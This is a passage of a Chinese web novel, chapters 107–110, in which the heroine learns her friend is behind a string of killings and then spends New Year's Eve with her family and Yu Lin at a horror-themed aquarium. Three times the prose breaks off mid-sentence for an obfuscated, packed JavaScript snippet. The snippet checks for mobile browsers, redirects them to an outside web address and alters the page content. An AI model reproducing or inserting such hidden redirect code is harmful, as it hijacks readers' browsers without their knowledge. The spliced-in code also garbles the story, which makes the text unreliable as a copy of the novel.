听完百泉声情并茂的讲述,周拾秋整个人都愣住了。很多她原本已经掌握的线索陡然串联在一起,形成一副地狱般的画卷。 她以为是家有内鬼谋财害命的戏码,没想到真正的剧情是父亲买凶杀子。 所以庾万松至今厚待张信,所以庾林从此离家不回,所以牟怀枫会在儿子得救的第二天夜里自杀…… 一切似乎都有了合理的解释。 庾林一直都知道真相,因为五年前那场绑架案后,他获得了读心能力,所以看穿了父亲的心思。 除了震惊,周拾秋还为庾林感到愤愤不平。 有什么样的理由,能让一位父亲花重金,设计偷天换日的阴谋,买凶杀子? 一个八卦谣言陡然窜进周拾秋的脑海——庾家少爷本不该姓庾。 周拾秋不敢再细想下去,就像突然看到了对方小心藏起的秘密,那种被人知晓就会伤人的隐私。 在她目瞪口呆时,不明真相的百泉还在好言相劝:“都是因为理想者的自私自利,才害我们失去了原本的生活,这样的人不该铲除吗?” “等等,铲除?” 周拾秋差点以为自己听错了什么,惊诧地看向百泉。 百泉坦言:“没错,我原本跟踪庾家少爷来到这里,没想到会看到你与他走到了一起,还有他的危代人,你也认识?” 一句话带着海量信息向周拾秋袭来,仿佛一棍子敲在她头上,让她头晕目眩。 一种异样的感觉在心中蔓延,那些她不敢深究的想法疯狂攻击着她的理智,恐惧逐渐占据了所有的情绪。 也许,真的和她猜想的一样。 “你是说齐绮?那是我朋友啊……泉姐姐,你在说什么呢?你为什么要跟踪庾林?什么铲除?我怎么听不懂你在说什么啊……” 周拾秋的嘴角有些抽搐,努力压抑着不好的想法,心却无法抑制地下坠。 “小秋,跟我合作吧,就像以前一样,只要我们联手,一定可以创造属于进化者的世界!”百泉脸上的笑绽放出诡异的色彩,令人心里发怵。 “你知道你在说什么吗?” 百泉的话已经无法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周拾秋的犹豫却给了百泉可乘之机,百泉接着劝道:“你也不敢肯定对吧?进化者是不可能与普通人共存的,他们视我们为怪物,就算一时表现亲切,却早晚会背叛!最终我们只能沦为毫无自主意识的工具人。这就是你所谓的过得还不错吗?别傻了,小秋,只有重新制定世界的秩序,进化者才有生存空间!” 又是一番洗脑。 周拾秋猛然挣脱了百泉的手,带着些懊恼说道:“泉姐姐,你到底怎么了?你所谓的改变世界就是不断杀人吗?那是犯罪啊!” 原本满心期盼的百泉,突然脸色阴沉下来,隐隐透出失望的神情,微微叹了口气,“小秋,你被这世界驯化了……” 周拾秋好言相劝:“泉姐姐,你别再做傻事了,是谁教唆你做这些事的吗?再继续下去,进研所迟早会追查到你头上!要不你跟我逃吧,我可以找人帮忙,帮你找个安全的落脚地……” “逃?难道要逃一辈子吗?一切都是我的计划,没人能教我做事!” 百泉突然发狠,吓得周拾秋收了声。 这一瞬间,周拾秋感觉百泉好陌生,就像完全变了一个人。她不知道这些年百泉的遭遇,自然也理解不了百泉的想法,只觉得很极端、可怕。 她们两人好像突然活在两个截然不同的世界,谁也说服不了谁。 一阵沉默后,百泉突然抬起了手腕,而那上面,俨然戴着一只危机管理局手环。 就在周拾秋诧异的注视下,百泉在手环上发起了委托,然后抬眸一笑,留下一句“希望你不会后悔自己的决定”,然后闭上了眼。 等百泉再睁眼时,周身的气息已然改变。 周拾秋清晰地觉察到眼前人的意识已经不再是百泉,而此刻的异能气息同样有一丝熟悉,只是一时想不起在哪儿见过这个进化者。 正当她疑惑之时,只见百泉抬起手,竖起手掌,五指张开。霎时间,百泉的手掌前出现一个黑洞,逐渐向四周扩散,然后将百泉整个人吸了进去。 一切发生得太过突然,等周拾秋回过神时,空荡的房间里只剩下她一人。 108. 第108章 独自走在回家的路上,周拾秋浑身止不住的颤栗。 她以为只是一次久别重逢的好友见面,没想到整件事的发展瞬息间便脱了轨,朝着不可预测的方向一路狂奔。 这一晚,对于庾林身上发生的事,她已经感觉三观受了重创,结果还只是一道开胃菜,后面的重头戏居然是黑化的好友要统治世界。 这都什么跟什么啊…… 周拾秋心里犯着嘀咕,很不是滋味,一时也不知自己该如何应对。 要举报自己的好友吗?她于心不忍。 可就这么放任她继续作恶吗?她同样做不到。 因此陷入了无限的纠结之中,感情与理智相互拉扯,头疼欲裂,却找不到最好的解决办法。 这种烦恼只藏在她一人心里,不敢向任何人倾诉。这天晚上,她辗转反侧,失眠了一整夜。 第二天,全家人都休息,一大早就开始准备着跨年。只有周拾秋顶着深深的黑眼圈,带着一脸疲惫出现在众人面前,被父母一顿臭骂,她有苦难言。 母亲正准备带着周拾秋和齐绮出门采买,房门就被敲响。 门外站着的人是不请自来的庾林,手上提着大包小包的食材。 一家人见状皆是一愣,周拾秋这才想起昨晚让庾林来当厨子的事,赶紧解释:“呵呵,我给大家安排的惊喜,今天谁都不用进厨房,由大厨亲自操刀!” 周予夏指了指庾林手上的大包小包,疑声问:“你还让大厨自带食材?” 周拾秋一本正经胡说八道:“昂,现在服务行业比较卷。” 周予夏冷笑:“你确定不是入赘的嫁妆?” 下一秒,两姐弟一人脑袋挨了一拳,蹲在地上哀嚎。 父亲将庾林请进屋,母亲接过庾林手上的大包小包,两人嘴上都数落着自家孩子的失礼,又体面地接待客人,让客人别误会守旧者不懂礼貌。 父亲:“你是远道而来的客人,怎么好意思让你下厨,秋丫头说的话,你都别信,她从小就爱糊弄人,嘴上没一句实话。” 母亲:“她还让你买这么多东西?哎,瞧这倒霉孩子干的事,你别跟她一般见识。” 庾林:“没有的事,愿赌服输,我今天就做一天厨子。” 他话刚说完,周拾秋脑袋就又结实挨了一拳,母亲怒斥道:“秋丫头,你还跟人打赌?是不是又……” 话只说了一半,另一半自然是关于周拾秋的异能,母亲及时收声,怒气和怨言却向周拾秋传递着危险的讯息。 周拾秋起身躲过母亲,闪身到了庾林身后,一边跟母亲说着误会,一边用手掐住了庾林的胳膊,低声骂道:“不会解释你就别解释,你是来帮忙的,还是来捣乱的?” 庾林笑得一脸淡定,悄声回道:“我这身份好像也做不了其他的解释。” 故意的,一定是故意的。 周拾秋瞪着庾林,深刻感受到来着庾林的报复,为了她昨晚那句“厨子”。 幸好有齐绮及时解围,说是庾林为了感谢周拾秋这几日尽心当导游,自愿来展示厨艺,让父母别拂了庾林一番好意,而且他一人在外跨年显得有点孤苦伶仃。 有了齐绮这番解释,父母才总算饶过了周拾秋。 带着庾林进了厨房,齐绮才小声调侃:“可以啊,小林,能让十秋把你带家里来了,有进步嘛,又花了多少钱?” 庾林瞥了紧跟着进入厨房的周拾秋一眼,回道:“导游小姐哪里是用钱就能收买的人。” “那是认可你了?”齐绮偷瞄着周拾秋,小心试探。 “好像不完全。”庾林看向周拾秋的眼神多了一丝期盼。 “我们家十秋最怕麻烦了,你们之间的问题可不是相互认可就能解决的哦。”齐绮意有所指。 “谢谢提醒,我会妥善解决所有问题。”庾林淡定作答。 两人一唱一和,皆在试探着周拾秋的想法,可今日的当事人完全心不在焉,两人的话她只是听着,一只耳朵进,一只耳朵出,根本没听进去。 “你在担心什么?” 庾林突然皱着眉头,走到了周拾秋面前,微微俯身,视线便撞到了一起。 齐绮也反应过来,说:“她昨晚回来就这副魂不守舍的样子,问什么又说没事,说什么她都在走神。我还在想,你昨天做什么事了,能让她如此担心?” 庾林闻言并没有回答,只是摇了摇头,绕过周拾秋关上了厨房门,然后轻声道:“你眼睛里又出现百泉了,你担心的事与她有关?” 周拾秋此刻闭眼已经来不及,重重叹了口气,却依然无法排解心中的郁闷。 “百泉?怎么了?十秋,你遇上什么问题了?”齐绮一脸担忧地凑上前。 有庾林在场,隐瞒似乎只是白费功夫,周拾秋妥协一般开了口,将昨晚百泉来找她的事告诉了两人,但略去了庾林父亲的故事。 “百泉说的人应该是瑞波恩协议主管纪骞宏,看来她真是主谋。”庾林一边说着,一边观察着周拾秋的表情。 此时再回想昨晚百泉消失前的一幕,莫名与这个名字联系到一起。 “百泉离开的方式有些特别,那异能气息……是纪骞宏!”周拾秋恍然大悟。 她记得听庾林说起过,褚成舟和施煦见识了纪骞宏的异能,正是空间转移。当时听到这项异能,周拾秋就觉得逆天,这次亲眼目睹,更是巩固了她的这种想法。 对于逃跑而言,这项异能属实太强悍了。 再加上百泉与纪骞宏的危代关系,两种异能的组合,难怪会让人觉得那伙罪犯神出鬼没。 百泉最后说的话,让周拾秋莫名有些不安。 她清楚百泉的性格,未达目的,百泉恐怕不会善罢甘休。 带着这种忧虑,周拾秋拧着眉头,视线在齐绮和庾林身上来回跳转。 庾林捕捉到她的眼神,抬手到她面前,手指触上眉心,轻轻揉压,带着点揶揄的味道开口:“还能有进化者让夜白鹭害怕吗?” 周拾秋不服气地挥不着两个拳头,阻挡着庾林的手,昂头挺胸,用不满的口气回怼:“谁怕了,我才没有你那么娇气呢!” 见垂头丧气的人又变得气鼓鼓的模样,庾林目的达成,会心一笑,“是,我娇气,就指望乌鸦小姐保护。” “知道就好。” 与庾林置气,倒忘了担忧,周拾秋摆出高傲的姿态,绝不让庾林小瞧了她。 齐绮用咳嗽打断了两人:“虽然现在说有点煞风景,但要不要联系进研所的人?” 此话一出,又将最现实的问题摆在了三人面前,齐绮和庾林不约而同望向周拾秋,似乎这个决定应该由她来做。 周拾秋埋头犹豫了好一会儿,感情与道德狠狠打了一架,最终权衡利弊下了决心。她抬头对庾林说:“告诉褚成舟吧,就说你在滨山区感觉被人跟踪了,也许是上次伪装成齐绮的人。” 为了不让周拾秋进入进研所的视野,很多情况他们并不能明说,也只能先给停职中的褚成舟提个醒,也许有进研所专员出入滨山区,能让百泉有所收敛。 “好。”庾林闻言拿出了手机。 三人说话间,厨房门突然打开,周予夏的脑袋探了进来,带着一脸警惕。 厨房里的三人瞬间沉默了,一副做贼心虚的模样。 “姐,干嘛呢?就你那手艺,不把厨房烧了就不错了,应该帮不上什么忙吧?” 好在周予夏没有听到三人在谈论什么,他不留情面地出言讥讽,手一伸,就抓住了周拾秋的衣服,一把将人拉出了厨房。 在父母略显无奈的视线注视下,周拾秋被周予夏拉着出了家门。 一问之下,才知是父母让姐弟二人出门采购 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231051|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 不过,陪周予夏走了一段路后,周拾秋才意识到,出门采购大概只是弟弟想跟她私聊的借口。 “那个理想者是不是喜欢你?”周予夏没有隐藏自己的想法。 “这么明显么?”周拾秋若有所思。 这样的话她也曾在齐绮口中听过,如今不由得反思,难道就只有自己看不出来吗? 听周拾秋这么问,答案不言而喻,周予夏面露忧色,又问:“那你怎么想?” “我有什么好想?他喜欢我,跟我有什么关系?喜欢你姐的人多了去了好吧。”周拾秋有意回避,以一种不着调的玩笑口吻回应。 此刻的她,感觉如何面对庾林的感情已是其次,更加让她头疼的是该拿百泉怎么办。 可惜,周予夏并没因她的敷衍而妥协,反倒一脸严肃说着老成的话:“你们那些鬼话也就骗骗爸妈,什么碰巧来此的游客,你啥时候会管陌生人的闲事了?我眼睛又不瞎,你俩手腕上的手环,一看就是一对。” 周拾秋见瞒不过,抬手便胡乱揉着周予夏的脑袋,笑道:“哟,真是人小鬼大,眼睛挺尖嘛,不愧是想当进研所专员的人,时刻盯着你老姐呢?” “住手!头发乱了……”周予夏用手阻挡着周拾秋的攻击,“那家伙追你追到家里来了?” “没大没小,那家伙是你喊的吗?”周拾秋手稍微转向,揪住了周予夏的耳朵。 周予夏叫嚷着:“不是那家伙,难道是我姐夫?” 此话一出,周拾秋手上力道又加重了一分,“你最近是欠收拾吗?” “嗷,疼疼疼,松手,快松手,我开玩笑的……” 周予夏赶紧求饶,周拾秋眼神凶狠地发出警告,随后才慢慢松了手。 周予夏揉着通红的耳朵,小声控诉着姐姐越来越暴躁了,片刻后,又严肃起来,以一种略带担忧的语气劝说:“姐,理想者恐怕不是好的选择。” “我以为这种话应该爸妈说,你也这么墨守成规?”周拾秋嘲笑。 “哎,不是我迂腐,只是你从小生长在禁仿区,思维模式算是彻头彻尾的守旧者,跟自由区那些理想者的观念有很大不同,如果你真嫁到自由区去,很可能会与他家人产生矛盾……”周予夏说得头头是道。 周拾秋知道弟弟是关心她,见他故作成熟的模样,既暖心又好笑。 “你想得也太远了,谁说我要嫁到自由区去了。” “呃……他真打算入赘我们家?”周予夏一脸惊讶。 “什么乱七八糟的……”周拾秋对于弟弟的脑洞实在有些无语,“我会不会嫁人还不一定呢!小孩子,想这么多干嘛?这些不是你该关心的问题,好好读书,作业写完了吗?” 周予夏说:“还不是因为你这人稀里糊涂的,连喜不喜欢都分不清楚,弟弟我不得多帮你想想?总得让你提前意识到可能存在的问题,我可不希望你一时糊涂嫁到自由区去,等再听到你的消息,是在社会新闻上!” “什么?” “就你这火爆的性子,说不定哪天就跟理想者打起来了,第二天就上新闻头条。” “周予夏!” “你瞧瞧,动不动就大呼小叫。” “你是不是想挨打?” “啧啧啧,还要动手动脚。” 嘴上的吵闹演变为追逐打闹,一路吵吵嚷嚷,在迎接新年的最后一天,依然和过去的每一天一样,以习以为常的相处方式维系着相互的情感。 来年会发生什么,周拾秋并不知道,只是珍惜当下,所有重要的人都在身边,而她,也还能像普通人一样,过着平淡却又鸡飞狗跳的生活。 至于烦恼的事,或许等烦恼真正发生时再思考也可以。 很庆幸,她并不是普通人,她有能力守护自己想要守护的一切。 周拾秋逐渐释怀了。 109. 第109章 L463年12月31日,庾林留在周拾秋家里,陪她和家人朋友一起跨年。 临近中午时,庾双打电话给庾林,似乎是想让庾林回家吃饭,或许还想借机缓和父子关系,但庾林冷漠地拒绝了。 以前周拾秋并不清楚庾林与他父亲之间究竟有何种纠葛,所以理解不了他常年独居酒店里的心态。可昨晚听过庾林父亲的罪行后,她终于能够理解了。 那一定很不是滋味。 特别当她与父母斗嘴时,总能不经意间注意到庾林脸上几不可察的羡慕神情。 大概是出于怜悯,在领教了庾林的厨艺后,周拾秋主动提议:“这位客人,滨山区还有你想去玩的地方吗?我们全家都可以陪你,加量不加价哦。” 所谓吃人嘴软拿人手短,在庾林亲自下厨做了一桌子菜后,被他厨艺笼络的不止周拾秋父母,还有周予夏和齐绮,对周拾秋的提议,自然没有异议。 “正好下午也没别的事做,我肯定奉陪。” 周予夏的态度有了明显改变,警惕消失不见,整个人恨不得抱住庾林的大腿。 庾林眼底含笑,试探着反问周拾秋:“你确定?” “昂!说话算话。”周拾秋答得义无反顾。 半个小时后,周拾秋就开始后悔自己为什么要多此一举。 庾林选择的地点,是滨山区最有名气的水族馆,就建在海边,可这名气并不是好的方面,而是以恐怖闻名。 周拾秋不得不怀疑,庾林是不是故意选这地方来报复她。 这水族馆基本全年无休,宣传版本换了好几个,从最初宣扬的科技创意,到亲子探秘,后来改为约会胜地,都没能挽救这家水族馆每况日下的口碑。 直到最后,经营者终于找准了定位,这水族馆便成了勇者的探险地。 至今有不少为了证明自己胆量的人,前来挑战,而能从头逛到尾,并打卡所有观光项目的人,可以荣登水族馆正门勇者榜大屏幕。 如今,约有千人的名字和终点合影在大屏幕上轮流展示,彰显着勇者这一殊荣。 站在水族馆门前,只有周拾秋的脸死气沉沉,就像发现自己大限将至一样。其余人倒是一脸兴奋,尤其是齐绮和周予夏,似乎觉得庾林很有品味。 “可以啊,姐夫,这么小众的打卡地都能被你找到。”周予夏一副自来熟的模样,拍了拍庾林的后背表扬道。 周父抬手就给了周予夏屁股一巴掌,厉声骂道:“臭小子,没大没小,玩笑是可以乱开的吗?人家是客人,说些让人尴尬的话,真是没礼貌!” 周母附和:“小庾啊,别介意,我家这两孩子就这德性,一天天没个正行,说话不经大脑。” 周拾秋也上前一步,一巴掌拍在周予夏后脑勺,“听见没,说你喃!” 齐绮在一旁偷笑,顺便拱火:“十秋,阿姨说的是你们姐弟俩。” “啧!” 周拾秋回瞪了齐绮一眼,只当没听见,继续压力周予夏,行使着姐姐教育弟弟的职责。 庾林此时装出宽宏大量的样子,和颜悦色地劝说:“没关系,童言无忌,我挺喜欢小夏这样实诚的性子。” 周拾秋实在服气,暗中戳了戳庾林的后腰,咬着牙,嘴唇微启,低声嘀咕:“骗鬼呢,以前何洲乱说话的时候,已经被你打了好吧……怎么这么爱装好人……” 庾林听见她嘀咕,转头看着她,难以掩饰嘴角笑意,悄声回道:“你弟不算乱说。” “你……”又被说得有些脸红,周拾秋无奈骂道,“脸皮真厚!” 另一边,周予夏独自抵抗着来自父母的责备,慌着转移话题:“哎呀,赶紧入场吧,别浪费姐夫,啊不,庾林哥一片心意!”说着从母亲手里抢过轮椅把手,推着父亲就往大门走。 一场风波总算平息,父母并没有当真,周拾秋松了一口气。 自从被庾林的厨艺收买后,周予夏的态度就完全变了,似乎已经认可了庾林,和齐绮一唱一和站到了庾林那一边。 周拾秋感觉,他是真把庾林说的入赘当真了。 然后冷不防就会叫庾林一声“姐夫”,庾林很是受用,周拾秋却有些气恼。 上一个这样乱喊的人,还是何洲。 当时何洲喊桑云海“小舅妈”,对周世秋来说简直就是一场噩梦,如今再听弟弟乱叫,总让她有种应激的感觉。 她觉得该把何洲介绍给周予夏认识,这两个脑回路清奇的小鬼,一定很有共同语言。 今天的水族馆里很冷清,让原本就凉风阵阵的场馆里更加阴冷。一行人检票进入水族馆正门大厅,立马有身穿制服的工作人员热情上前迎接。 圆形大厅里,正中央是个巨大的柱状玻璃水族箱,贯穿了天花板与地面。水族箱被蓝色的冷光照亮,里面漂浮着无数微微发光的水母,很是梦幻。 水族馆曾就以此营销,欺骗情侣来此进行一场浪漫约会,结果整个旅程中,唯一浪漫的点就大厅水族箱一处,剩下的全是噩梦。 周拾秋虽然没来过这里,却无意中刷到过控诉这家水族馆虚假营销的帖子,因此对这里并没什么好感。 如今,它更是以周拾秋并不喜欢的恐怖主题作为卖点,周拾秋很难想象能在这里找到什么乐趣。 带着这份担忧,周拾秋进入了这场冒险之旅。 与周拾秋的紧张相比,其他人显得轻松惬意许多,进门先在水族箱前留影纪念,只有周拾秋心里讥讽:瞧你们一会儿还笑得出来不! 绕过水族箱后,面前出现四扇电梯门。其中三扇门上分别标注着ABC,最后一扇门上写着无障碍。 在工作人员的解说下,众人才知,当初水族馆修建时,充分考虑到游客观赏的体验感,为了分流避免拥挤,开设了四条观赏线路,其中一条很贴心地设置为无障碍通道。 可惜,当时水族馆的经营者也没想到,生意会冷清得根本用不着分流。 当然,自从水族馆找准定位后,这分流路线总算派上了用场。 今天是L463年最后一天,绝大多数人都选择以温馨的方式迎接新年,所以水族馆里基本上没有游客,庾林也算选中了“好时候”。 连工作人员都忍不住感叹:“各位客人来的时间太好了,今天人少,可以完全不受他人干扰,沉浸式体验,游玩体验感拉满!” 在工作人员建议下,他们两两分组进入不同路线。 周予夏照顾父亲,走无障碍通道;齐绮照顾母亲,走A通道;周拾秋照顾客人庾林,走B通道。 他们相互道别,约定到终点合影,然后便各自进入了通道入口。 周拾秋走入B入口,展现在她眼前的是一条长长的隧道,自动扶梯一路斜着向下延伸,一眼看不到尽头。 大门在身后关闭,隧道里安静得只有机械运转声,周拾秋的心一下提到了嗓子眼。 庾林拉着神情恍惚的周拾秋踏上梯级,两人便随着无限延伸的自动扶梯向着地下深处前进。越往下移动,四周的光线越昏暗,仿佛要进入另一个世界了一般。 几分钟过去,周拾秋终于忍不住问:“你这是恶意报复吗?” 庾林侧过脸,诧异地注视着她,反问:“为什么这么认为?” “不然你怎么选了这么个鬼地方?”周拾秋撇了撇嘴。 庾林闻言轻笑了一声:“你不喜欢鱼?” “喜欢吃算喜欢吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238305|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……其实也有观赏性的鱼。” “确定不是我们被观赏吗?” “你这说法很深奥……” “不是,庾木木,你确定知道这里是什么地方吗?” 周拾秋果断质疑起来,一脸严肃地盯着庾林。大概是她的眼神过于犀利,就像即将迎接什么要命的后果一样,一时间盯得庾林表情微变。 “水族馆……不是展示水生生物的地方吗?就算禁仿区与自由区在观念上有差异,对这三个字的理解也应该一致吧?”庾林的声音因为疑惑不解逐渐弱了下去。 “呵,按理说应该是。”周拾秋冷笑一声,满眼写着无语二字。 周拾秋的态度让庾林生出一丝不自信,从衣兜里拿出手机,手指在屏幕上点点划划,眼睛扫过几行字,确认再三后才对周拾秋说: “网上信息与我理解的并无区别,这里不是滨山区的约会胜地吗?” 听到“约会胜地”四个字,周拾秋眼珠差点夺眶而出。 “不是!” 一声尖利的吼叫在没有尽头的隧道中回荡,听上去有些瘆人。庾林用手堵住耳朵,直至这阵回音彻底消失。 周拾秋也被自己的声音吓得一阵心颤,捂住嘴,压低了声音:“你看的什么过时营销文?” 在周拾秋的质问下,庾林一脸无辜地将手机屏幕展示到她面前。 周拾秋第一眼看到的是推文标题——【情侣到滨山区必做的十件事】,有些眼熟,再往下看去,推文中的小标题更是熟悉。 ①未来陪你历经风雨迎接欢乐结局:在未来电影院风雨厅一起看喜剧。 ②与古梅神灵的缘分约定:在食缘饭店邂逅一场绝景,许下的心愿都能成真。 ③携手接受山神的祝福:与喜欢的人一同登上林月山,沐浴凌沪市清晨第一缕阳光,获得山神祝福。 ④敢于表达的人有好运相伴:在滨山区指定商铺购买情侣装,大胆秀爱。 ⑤让爱情拥有独特的形状:在手工陶艺体验馆为TA烧制陶瓷杯,交换好运。 ⑥最浪漫的机缘:租游艇出海钓鱼,享受最新鲜的海味,寻找终生难忘的海上奇观。 ⑦让爱情最美时刻定格:去滨山水族馆,踏入最神秘的深海世界,留下象征永恒的合影。 ⑧携手走到世界尽头:坐上滨山之星摩天轮,送别白昼的终结。 ⑨写给未来的情书:到滨山区天文馆,向遥远的未来发送时间胶囊。 ⑩将誓言镌刻永恒:在滨山区定制独有的情侣对戒,让誓言不再是空话。 好家伙,这篇产自于2年前的营销推文,因为其余几项的营销成功,推文热度一直很高,只要搜索滨山区,必然位于最显眼的位置。正因如此,营销失败的水族馆也混迹其中,成功骗到了不明真相的理想者。 比起庾林对水族馆的错误认知,更令周拾秋震惊的是庾林已经按照这推文,带着她打卡了六个项目。当然,情侣装这项因为太傻,并未成功。 “庾木木,你自己也是生意人,营销的鬼话怎么也信啊?” 周拾秋看着手机屏幕上那些令人啼笑皆非的文字,忍不住指着庾林的脸嘲笑起来。 庾林作势要咬掉她的手指,逼得她赶紧收回手。 越来越黯淡的灯光下,庾林的脸以肉眼可见的速度沸腾起来,从两颊一直蔓延到耳根。他夺回手机,目视前方,强装镇定。 “不是信,只是体验一下也无妨。”庾林说。 “好吧,那一会儿你好好感受一下水族馆的浪漫!”周拾秋说话时,脸上露出阴险的笑。 正当庾林转头想问她水族馆究竟与营销文有何出入时,眼前的光突然全部熄灭。 110. 第110章 周拾秋前一刻还等着看庾林出丑,眼前的灯光熄灭后,她立马不争气地抓住了庾林的胳膊,并下意识往庾林身边挪了挪。 自动扶梯依旧在往下移动,身后的光亮便渐行渐远。 没过一会儿,两人就陷入了彻底的黑暗中。 这哪里是什么水族馆,分明就是鬼屋。 周拾秋已经开始在心中质疑,经营者与设计师究竟拥有什么清奇的脑回路,才能将好好的水族馆设计成这种鬼样子。 身旁的庾林没太大反应,只是声音有些疑惑:“是不是故障了?” “故障不是更吓人嘛!”周拾秋嘴里抱怨。 抓住庾林衣服的手指不由得紧了些,心跳随着机械的运转声加速,黑暗中任何响动都会让她原地一蹦。 脑中不断出现各种不好的遐想,总觉得会有东西突然冲出。不知是不是错觉,周拾秋不时感觉后背凉风阵阵,战战兢兢回过头,除了已经成为遥远星辰的灯光,她只能看见逐渐没入黑暗的梯级。 大概是觉察到她频繁回头,庾林低声调侃:“看什么?这密闭空间里能突然跳出一只鲨鱼吗?” 就算看不到庾林的脸,周拾秋还是狠狠地瞪了一眼庾林,嘴上嘟囔:“真跳出鲨鱼,我就让它咬死你!” “好,你说了算,不管出来什么,我都当盾牌行吧?” 似是安慰又似玩笑的话在黑暗中响起,轻笑引起的身体震动自胳膊传来,周拾秋掐了一把庾林胳膊上的肉,结果下一秒,那条胳膊从她手里溜走了。 “喂!你……” 周拾秋的手慌乱地前探,寻找着新的倚靠。她刚抓住庾林的衣服,那条逃离的胳膊就绕过她的后背,轻轻搂住了她的肩膀。 一瞬间,周拾秋仿佛落入了一个保护罩,也不再感觉背脊发凉。 只是现在的姿势多少有点暧昧。 她依偎在庾林身旁,小心地拽着庾林的衣服,而庾林展开手臂,将她搂入怀中。 耳尖微微发烫,周拾秋忍不住念叨:“我现在合理怀疑,这才是你选择水族馆的目的,庾木木,心思不单纯啊。” 耳边传来庾林的笑声,“你可以这么认为,那要我放手吗?” 说话间,庾林的手指离开了周拾秋的肩膀,却迅速被周拾秋逮捕,强制压回肩上。 “你不是要当盾牌吗?哪有盾牌丢下主人,自己跑的!” “盾牌确实不该有自己的想法,主人想要什么样的保护,随时告诉我。”庾林的手从肩头稍微下滑,将怀里的人搂得更紧了些,“这样满意吗?” “马马虎虎吧。”周拾秋压抑着心中躁动,漫不经心地评价道。 “不过,天下无敌的夜白鹭,怎么这么胆小?”庾林在她耳边轻笑。 “你懂什么,我想象力丰富不行吗?” “那还喜欢看恐怖电影?” “谁喜欢看了,那是为你准备的!” “……原来是有人蓄意捉弄。那可惜了,我并不害怕。” “不怕还让我看?” “以为你喜欢……” “你……算我倒霉……等等,第一次在医院看恐怖片也是?” “那次不是。” “那你干嘛发送委托?” “想让你试试香薰助眠是否好用,恐怖片只是借口。” “那么早就对我有想法了?”周拾秋得意地反手捏住庾林的下巴。 庾林没有挣扎,只是轻轻摇了摇头,“不算,那时还不知道对你究竟是什么情绪,有好奇,也有反感,却总是莫名想跟你分享我觉得不错的东西。” “那你怎么能分清对我是不是喜欢呢?” 周拾秋侧仰着头,即便看不见庾林的表情,也努力分辨着庾林的轮廓。 手指的触感告诉她,庾林回过头,正低头看着她,而黑暗中她不必担心庾林看穿她的想法,那种对于两人感情不对等的担心。 “因为不想你从我身边离开。” 庾林的声音很是真诚,却让周拾秋眼神逐渐黯淡下去,她并没有这种强烈的想法。 果然还是不一样啊。 “如果我对你不是那种喜欢呢?会让你失望吧?” 周拾秋的声音带着些许愧疚,缓缓放开了庾林的下巴,但还未收回手,就被庾林扣住了手腕。 接着,手背传来柔软的触感,带着令人心颤的温度,混着温热的鼻息。 只是轻啄了一下,庾林的唇带着几分眷恋,离开了周拾秋的手,低沉的声音再次传出:“没关系,让我喜欢你就好,只要你别逃走。” 不管是那轻微的触碰,还是近乎卑微的乞求,都让周拾秋乱了心绪。 脑海中被蒸腾的热气占据,让她一时失了神,当她回过神时,被庾林扣住手腕的那只手已经抚上庾林的脸颊。手指稍微用力,庾林脑袋就随脖子偏到了一边。 在庾林尚未明白周拾秋想做什么时,她已经踮起脚尖,一个温柔却不容拒绝的吻落在了庾林的脸颊上。 庾林动作一顿,浑身僵硬,而“肇事者”已然心满意足抽身。 “这是……”庾林茫然地摸了摸脸颊,感受着上面留下的余温。 周拾秋若无其事地倚在庾林身边,一本正经地回答:“我不喜欢吃亏。” 这句话把庾林逗笑了,低头附耳低语:“但,我喜欢吃亏。”庾林说着又将脸颊贴了过来。 “神经!”周拾秋哭笑不得,一边用手揪着庾林的脸,一边笑骂着将庾林的脑袋推开。 正在打闹时,脚下的梯级突然停住。 两人停止动作,诧异地环顾四周。以为当真出故障之际,两人眼前突然出现一道玻璃门,幽幽泛着蓝光。 门内是幽静的深海,隐隐约约能看到一小片被蓝色光照亮的区域。 周拾秋正疑惑接下来要干嘛,忽然听到一阵玻璃开裂的脆响。她心头一紧,双手死死拽紧庾林衣服,手心微微出汗。 那阵声响在安静且黑暗的空间里,变得格外刺耳,立马吸引周拾秋的目光注视着眼前那道玻璃门。 果然,她看到门上出现了细小的裂缝,正分裂出无数的分支,向四面八方绽放。 “这门不会要炸了吧……” 周拾秋话音刚落,眼前的玻璃门便彻底碎裂,汹涌的海水冲破束缚,带着玻璃碎片向二人奔涌而来。 “呀啊——” 一声尖叫刺破黑暗,周拾秋眼中金色波纹瞬间涌现。 还好庾林反应快,在周拾秋异能发动的瞬间,迅速捂住了她的眼睛,否则,那扇看上去像玻璃一样的投影门应该已经宕机了。 原来方才的景象不过是虚拟投影,看似海水压迫了玻璃门,实则只是连接海底通道的大门向两边开启。 “没事,别紧张,不是真的。” 庾林一边捂着周拾秋的眼睛,将她揉进怀里,一边轻拍着她的胳膊,轻声安慰。 待到周拾秋情绪稳定,挡在眼前的手才放下,而面前已出现一条泛着微弱光芒的全玻璃隧道。 